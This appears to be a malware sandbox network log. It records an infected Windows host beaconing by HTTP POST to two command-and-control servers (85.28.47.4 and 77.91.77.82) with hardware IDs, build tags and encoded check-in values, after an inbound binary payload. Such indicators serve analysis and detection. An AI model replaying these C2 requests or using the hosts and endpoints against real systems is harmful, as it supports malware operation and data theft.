Jul 2, 2024 12:21:28.807678938 CEST	1236	IN	Data Raw: d0 5b 63 fd 07 2a 78 0c 66 71 3a 5e 03 29 f4 0c 14 97 2f 7a 96 58 a3 88 dc 61 68 a5 e0 ad 7b 87 1b f7 37 83 d1 bb 5d 9d 48 a3 28 63 ab 3b a7 31 c9 1d cb ba 01 46 7b c2 3c 7c ce 14 01 87 aa 80 b0 4c b5 51 2b 2c 6e e8 d0 dd 56 32 b4 b4 55 32 c2 86 Data Ascii: [c*xfq:^)/zXah{7]H(c;1F{<\|LQ+,nV2U27[F;wQ3&# tH"IY=xTqnNZ(9RXz6.gS-D'9Kb1k!2<-Y7xA- H]tU,^_sSi'68'
Jul 2, 2024 12:21:28.807694912 CEST	1236	IN	Data Raw: ea 70 4b a4 c3 44 e2 99 f7 1c 79 b5 45 25 ad 76 0f 1a f8 73 73 75 75 8d ab bb 03 84 7d 63 c2 2b 38 54 76 1b d7 f5 3f 44 fc 2c 6c 1c 1a 4a 90 0d 8c 92 91 e1 5a e7 d6 a3 00 81 59 09 ea 1c b2 f8 d6 cb c2 48 a1 b7 1a 47 2c 7b c6 99 80 15 53 2a af e3 Data Ascii: pKDyE%vssuu}c+8Tv?D,lJZYHG,{S*A-WLLqMv&%'8oAw5kcAkd5jDIo2\3i(=O5&~k#Aw2-v%4]cV?+E3]-]&qwt
Jul 2, 2024 12:21:28.807710886 CEST	1000	IN	Data Raw: d8 8f 31 90 11 95 f3 f0 98 10 c9 d3 c6 55 26 1b 52 a2 b2 76 e4 a2 29 92 22 10 34 0f 6e 4e a9 45 f8 8e 47 18 24 9d 65 b6 fd 7e 88 76 ac 34 b3 e9 63 f0 87 0f 45 46 06 1b c0 e6 1f 5c 0b 69 2f e4 b2 4f 7e ea fd 2a 26 b8 bc af 99 1b 65 ff 8b ed ae 7f Data Ascii: 1U&Rv)"4nNEG$e~v4cEF\i/O~&e^g?CpML$``nzaXvt{S!&VW^8F5~n&aZ#X=Q@[JS@D\|QNv/K@L5bm3
Jul 2, 2024 12:21:28.807724953 CEST	1236	IN	Data Raw: 12 8b 80 b6 73 4e 5a 50 b8 df a4 f9 9c 72 87 9c a2 45 df 19 d1 70 e2 0f df 9c 6f 8c f0 8e 23 b9 0a 42 3f 59 49 ad e4 b0 fe d8 b0 e8 c9 e5 e0 b1 92 f3 e3 1a 37 38 02 a8 bd f1 23 67 0d 00 8b 03 cb 86 2a 4e c4 d3 d3 c4 30 d0 04 bc da 66 1e e5 ad 7d Data Ascii: sNZPrEpo#B?YI78#g*N0f}{Q8h&SoMJ3Y,@i0'xS"Ji~^S6Y](&N2d!pqr7A(6MMVskD+=!F4
Jul 2, 2024 12:21:28.807739973 CEST	1236	IN	Data Raw: d4 a7 24 01 b8 ff f4 39 1d fb 61 5f d7 ce 79 05 9a da 0a 39 b2 74 4f ac 7f de d9 fb a8 dd 42 0f db e1 9e 6b 09 25 64 e8 c6 ba 7c 5a c2 b8 26 a2 9e a1 1a 5a ea eb 4d 03 93 3c 66 a2 1f ca d9 d6 f0 09 83 74 16 2b 6a 5f 55 b3 8d 77 2a c8 a8 af de 54 Data Ascii: $9a_y9tOBk%d\|Z&ZM<ft+j_UwT4W6]\Z0c>q1X^;ni4<J({?Yc=F6a0;2qaqyo> Hj,VIm^@\6>
Jul 2, 2024 12:21:28.813183069 CEST	1236	IN	Data Raw: 79 dc a5 b4 bb 8b f3 54 eb ce d6 54 ee 08 ce e0 18 b6 32 29 49 6a 35 6e e0 e3 2c 1b ae 7d e0 1e 19 39 35 a0 6a e3 41 7b 18 f6 95 f3 fe 75 a1 38 5c 7a 7a 85 4a 2c e3 c4 88 4e 0d be 07 31 2d 97 37 b6 0f 7c 32 b2 a6 b5 c5 1d 2a ee aa ed 9f 0a 41 f1 Data Ascii: yTT2)Ij5n,}95jA{u8\zzJ,N1-7\|2*AhDs`:jZ9^p9N$8zy5T"x/s7%7Odx(I.:gN?C(p#mK(.+iH~F3m#0=2iSmKR%{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	55238	85.28.47.4	80	1748	C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:31.576033115 CEST	407	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCGCFCAFIIEBGCBFCAKK Host: 85.28.47.4 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 47 43 46 43 41 46 49 49 45 42 47 43 42 46 43 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 39 36 36 34 38 42 45 41 34 44 39 32 34 33 30 38 33 38 35 37 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 43 46 43 41 46 49 49 45 42 47 43 42 46 43 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6a 6f 6e 79 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 43 46 43 41 46 49 49 45 42 47 43 42 46 43 41 4b 4b 2d 2d 0d 0a Data Ascii: ------FCGCFCAFIIEBGCBFCAKKContent-Disposition: form-data; name="hwid"396648BEA4D9243083857------FCGCFCAFIIEBGCBFCAKKContent-Disposition: form-data; name="build"jony------FCGCFCAFIIEBGCBFCAKK--
Jul 2, 2024 12:21:32.199459076 CEST	211	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 10:21:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	55239	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:31.618586063 CEST	179	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000006001&unit=246122658369
Jul 2, 2024 12:21:32.709230900 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	55240	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:32.826582909 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:33.566853046 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:33.578054905 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:21:33.814228058 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	55241	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:33.931010008 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:34.654656887 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:34.655380964 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:21:34.881114006 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	55242	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:34.996021986 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:35.683440924 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:35.685858011 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:21:35.902218103 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	55243	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:36.010771036 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:36.720494032 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:36.721513033 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:21:36.943470955 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	55244	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:37.055887938 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:37.759613991 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:37.760649920 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:21:37.985183954 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	55245	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:38.102750063 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:38.804364920 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:38.805243969 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:21:39.021953106 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	55246	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:39.134027004 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:39.846878052 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:39.847584963 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:21:40.072905064 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	55247	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:40.181417942 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:40.868434906 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:40.869081020 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:21:41.084227085 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	55248	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:41.196584940 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:41.910748005 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:41.911473989 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:21:42.134713888 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	55249	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:42.243613005 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:43.192764044 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:43.193279982 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
